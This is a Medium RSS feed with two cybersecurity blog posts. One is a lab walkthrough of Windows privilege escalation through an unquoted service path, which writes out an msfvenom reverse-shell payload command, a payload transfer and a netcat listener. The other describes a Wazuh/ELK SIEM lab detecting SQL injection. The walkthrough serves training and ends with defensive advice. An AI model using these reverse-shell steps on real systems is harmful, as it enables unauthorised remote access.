<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Leosaji on Medium]]></title>
        <description><![CDATA[Stories by Leosaji on Medium]]></description>
        <link>https://medium.com/@leosaji?source=rss-cec97e9e8c5d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lJ1N7nL0AI6xA80U-_WXPg.png</url>
            <title>Stories by Leosaji on Medium</title>
            <link>https://medium.com/@leosaji?source=rss-cec97e9e8c5d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 13:20:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@leosaji/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When Service Paths Go Unquoted: Understanding the Privilege Escalation Risk]]></title>
            <link>https://medium.com/@leosaji/when-service-paths-go-unquoted-understanding-the-privilege-escalation-risk-1e5715a977f8?source=rss-cec97e9e8c5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e5715a977f8</guid>
            <dc:creator><![CDATA[Leosaji]]></dc:creator>
            <pubDate>Wed, 26 Nov 2025 13:06:56 GMT</pubDate>
            <atom:updated>2025-11-26T13:06:56.979Z</atom:updated>
            <content:encoded><![CDATA[<p>Whenever you think about what happens after initial access, privilege escalation and persistence are usually the attacker’s next goals. In this article, I explain how privilege escalation works in Windows through a Misconfigured Unquoted Service Path, breaking down the attack in a clear, practical way. I performed this lab as part of the Purple Team Analyst course by Cyberwarfare Labs.</p><p>If you’re interested in deepening your skills in red and blue team operations with real hands-on labs, Cyberwarfare Labs also offers advanced cybersecurity training, and their Black Friday offers are worth checking out &gt;&gt; <a href="https://cyberwarfare.live/black_friday/"><strong>Black Friday 2025 — CWL : Advanced Cyber Attack &amp; Detection Learning Platform</strong></a></p><h3>What Mean by Unquoted Service Path..?</h3><p>A misconfigured unquoted service path means a Windows service has a path without quotes, allowing attackers to hijack the service by placing a malicious file in the right location.</p><p><strong>Ex:- C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe</strong></p><p>If this path is not inside quotes, Windows gets confused because of the spaces. So instead of going directly to the real file, Windows tries to run other files along the way.</p><h3><strong>How the Exploit Happens…</strong></h3><p>I used the lab to demonstrate the attack in the purple team analyst course by C<strong>yberWarFare labs.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*uDNDY4PfSp7tLTnUxImw7w.png" /></figure><p><strong>Step 1:</strong></p><p>Use the lab credential and take RDP connection to the targeted machine using any RDP tool.</p><p>After enter the machine we need enumerate the the vulnerable service path. So i used <strong>winPEAS.ps1</strong> automated tool for enumeration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*mCP51qfEmGnjK1Jaq7Cssg.png" /></figure><p>As per winPEAS Scan result we observed that the file path,</p><p><strong>C:\Program Files\Service\bin A\latest Log\update.exe </strong>has an excessive<strong> </strong>privilege for everyone : user with an active service running named as Updatetask, to confirm the result navigate to Start Menu &gt;&gt; Services and search for the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*S8ZqpKY1LlC3ueQdQCPa8w.png" /></figure><p><strong>Step 2:-</strong></p><p>After determining the vulnerable service path, we need to create a malicious payload for reverse shell connection.</p><p>So i used msfvenom in my kali linux to create the reverse shell.</p><pre># msfvenom -p windows/shell_reverse_tcp LHOST=&lt;Your Ip&gt; LPORT= 4444 -f exe &gt; update.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*uglGou_Nua6IbtN6cK-xTA.png" /></figure><p>After creating the payload, we need to transfer the payload to the targeted system using <strong>scp </strong>command.</p><pre># scp update.exe emp01@10.3.0.13:C:\Users\emp01\Downloads</pre><p><strong>Step 3:-</strong></p><p>We need to start a new listener connection in the attacking end. Use this command to start the listing,</p><pre># nc -nvlp -4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*hz2QTZEAvW2IrPMUX0qbsw.png" /></figure><p><strong>Step 4:</strong></p><p>User emp01 has writable access in the vulnerable path. So we need place the payload in the vulnerable path <strong>C:\Program Files\Service\bin A\latest log\update.exe</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*nTMA-ZXN84JHfTnwXjwmgw.png" /></figure><p>We need to change the payload name to <strong>update.exe &gt;&gt; latest.exe</strong>. Then place the payload under the bin A folder.</p><p>As we mentioned early if an path contain spaces and if it not enclosed with quotes the system will interpret</p><p>as the below mentioned way,</p><p><strong>C:\Program.exe</strong></p><p><strong>C:\Program Files\service.exe</strong></p><p><strong>C:\Program Files\service\bin.exe</strong></p><p><strong>C:\Program Files\service\bin\latest.exe</strong></p><p><strong>Step 5:-</strong></p><p>After the payload is placed correctly, then start the service using command prompt.</p><pre># net start Updatetask</pre><p>After the service starts we can observe, we get stable connection in attacker end with high privileged user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*LIYHREc52g41CGCe2FPcnQ.png" /></figure><h3>Conclusion</h3><p>Misconfigured unquoted service paths may look minor, but they can allow attackers to gain higher privileges on a Windows system. If an attacker can influence how a service runs, this small mistake can turn into a full compromise. Always check and quote service paths properly and be careful when installing third-party apps or services. Limiting write permissions and monitoring service changes adds an extra layer of defense.</p><h4><strong>Mitre Attack Mapping</strong></h4><p>Privilege Escalation (TA0004) &gt;&gt; Hijack Execution Flow (T1574) &gt;&gt; Path Interception by Unquoted Path (T1574.009)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e5715a977f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How The SIEM Works:- How The Security Systems Generate an Alert]]></title>
            <link>https://medium.com/@leosaji/how-the-siem-works-how-the-security-systems-generate-an-alert-81344ef08789?source=rss-cec97e9e8c5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/81344ef08789</guid>
            <dc:creator><![CDATA[Leosaji]]></dc:creator>
            <pubDate>Thu, 20 Nov 2025 06:24:23 GMT</pubDate>
            <atom:updated>2025-11-20T06:24:23.265Z</atom:updated>
            <content:encoded><![CDATA[<p>As a blue team researcher It’s also important to understand the Architecture of the Defensive systems and how it integrated each in the network and how to identify and flag as suspicious. The perfect way to understand the inner architecture of the defensive system and its connection, you create your own local lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3orFcl4zRuvV-LvCbrm_Nw.png" /></figure><h3><strong>Lab Infrastructure and local lab deployment</strong></h3><p>For the local lab deployment I used a <strong>cyberwarfare labs purple team module</strong> for the lab setup and the integration of each security tool. I used 3 machines for lab setup. First one is the attacker machine and second one the web hosted machine and 3rd one the SIEM machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DcyY3jQ8WyHk35kB9X3Nhw.png" /></figure><p>I deployed three machines in VMware and configured the network adapter for the connectivity. You can get the network configuration in the <strong>purple team module.</strong></p><h3><strong>SIEM Deployment</strong></h3><ul><li>After the network configuration, I deployed the ELK+wazuh in the SIEM Machine for the log Analysing and monitoring.</li><li>Then install Wazuh Agent in the web hosted machine for the log transfer.</li><li>We need to configure the Wazuh agent and SIEM config files for the proper working of the siem systems.</li><li>Created some detection rules in the SIEM based on the web attacks.</li></ul><h3><strong>How the defensive infrastructure works</strong></h3><ul><li>After all the configuration, I used the attacker machine to perform some web attacks against the web hosted machine.</li><li>Then I performed the SQL injection attack using some SQL payloads, otherwise you can use automation tools like sqlmap to perform the attack.</li><li>After the attack, all web logs are stored in the web hosted machine(/var/log/apache2/access.log).</li><li>The previously configured Wazuh agent transfers the logs to the SIEM.</li><li>The SIEM hosted machine normalises all the logs to the same format and visualises for analysis.</li><li>When any rules match to the log, the SIEM generates the alert and is marked as suspicious.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DK2K3uZ5V11D0G4uOfOtUg.png" /></figure><h3><strong>Remarks &amp; reference</strong></h3><ul><li>All the Siem generated alerts are suspicious..! maybe it’s false..? We discussed it in another article.</li><li>Referred Purple team Fundamentals module by Cyberwarfare labs.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81344ef08789" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>